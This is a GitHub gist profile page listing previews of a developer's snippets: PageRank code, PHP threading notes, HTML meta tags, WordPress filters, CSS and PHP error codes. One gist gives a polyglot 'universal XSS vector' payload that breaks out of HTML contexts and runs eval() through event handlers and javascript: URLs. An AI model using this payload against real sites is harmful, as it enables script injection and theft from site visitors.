Skip to content

Instantly share code, notes, and snippets.

View SergSlon's full-sized avatar
😀

Liamin Serhii SergSlon

😀
View GitHub Profile
import numpy as np
from scipy.sparse import csc_matrix
def pageRank(G, s = .85, maxerr = .001):
"""
Computes the pagerank for each of the n states.
Used in webpage ranking and text summarization using unweighted
or weighted transitions respectively.
@SergSlon
SergSlon / new_gist_file_0
Created August 14, 2014 11:59
Универсальный XSS-вектор From http://raz0r.name/other/universalnyj-xss-vektor/
javascript:/*--></marquee></script></title></textarea></noscript></style></xmp>">[img=1]<img -/style=-=expression&#40&#47;&#42;’/-/*&#39;,/**/eval(name)//&#41;;width:100%;height:100%;position:absolute;behavior:url(#default#VML);-o-link:javascript:eval(title);-o-link-source:current name=alert(1) onerror=eval(name) src=1 autofocus onfocus=eval(name) onclick=eval(name) onmouseover=eval(name) background=javascript:eval(name)//>"

Multi-Threading in PHP with pthreads

A Brief Introduction to Multi-Threading in PHP

  • Foreword
  • Execution
  • Sharing
  • Synchronization
  • Pitfalls
@SergSlon
SergSlon / meta-tags.md
Last active August 29, 2015 13:57 — forked from jaigouk/meta-tags.md

Copied from http://code.lancepollard.com/complete-list-of-html-meta-tags/

Basic HTML Meta Tags

<meta name="keywords" content="your, tags"/>
<meta name="description" content="150 words"/>
<meta name="subject" content="your website's subject">
<meta name="copyright"content="company name">
<meta name="language" content="ES">
@SergSlon
SergSlon / index.html
Last active August 29, 2015 13:57
Html META tags
<!--http://wiki.whatwg.org/wiki/MetaExtensions-->
<!--Mobile Internet Explorer позволяет принудительно активировать технологию ClearType для сглаживания шрифтов:-->
<meta http-equiv="cleartype" content="on"/>
<!--Этот мета-тег необходим для того, чтобы приложение открылось в полноэкранном режиме:-->
<meta name="apple-mobile-web-app-capable" content="yes"/>
<!--Ну и корректируем верхнюю полоску в iPhone:-->
<meta name="apple-mobile-web-app-status-bar-style" content="black-translucent"/>
// Example 1
mediator.name = 'Doug';
mediator.subscribe('nameChange', function(arg){
console.log(this.name);
this.name = arg;
console.log(this.name);
});
mediator.publish('nameChange', 'Jorn');
@SergSlon
SergSlon / gist:8067312
Created December 21, 2013 09:34
Prevent a WordPress Plugin from Updating
add_filter( 'http_request_args', 'dm_prevent_update_check', 10, 2 );
function dm_prevent_update_check( $r, $url ) {
if ( 0 === strpos( $url, 'http://api.wordpress.org/plugins/update-check/' ) ) {
$my_plugin = plugin_basename( __FILE__ );
$plugins = unserialize( $r['body']['plugins'] );
unset( $plugins->plugins[$my_plugin] );
unset( $plugins->active[array_search( $my_plugin, $plugins->active )] );
$r['body']['plugins'] = serialize( $plugins );
}
return $r;
<?php
/*
Plugin Name: WP_Rewrite endpoints demo
Description: A plugin giving example usage of the WP_Rewrite endpoint API
Plugin URI: http://make.wordpress.org/plugins/2012/06/07/rewrite-endpoints-api/
Author: Jon Cave
Author URI: http://joncave.co.uk/
*/
function makeplugins_endpoints_add_endpoint() {
@SergSlon
SergSlon / jsbin.exezex.css
Created November 18, 2013 09:01 — forked from anonymous/jsbin.exezex.css
Event bubbling demo
* {
box-sizing: border-box;
margin: 0;
padding: 20px;
transition: background 800ms;
}
html {
height: 100%;
background: hsl(193, 66%, 55%);
@SergSlon
SergSlon / new_gist_file
Created October 28, 2013 12:32
php errors codes .htaccess php_value error_reporting
<?php
$error_number = 22527;
$error_description = array( );
$error_codes = array(
E_ERROR => "E_ERROR",
E_WARNING => "E_WARNING",
E_PARSE => "E_PARSE",
E_NOTICE => "E_NOTICE",
E_CORE_ERROR => "E_CORE_ERROR",
E_CORE_WARNING => "E_CORE_WARNING",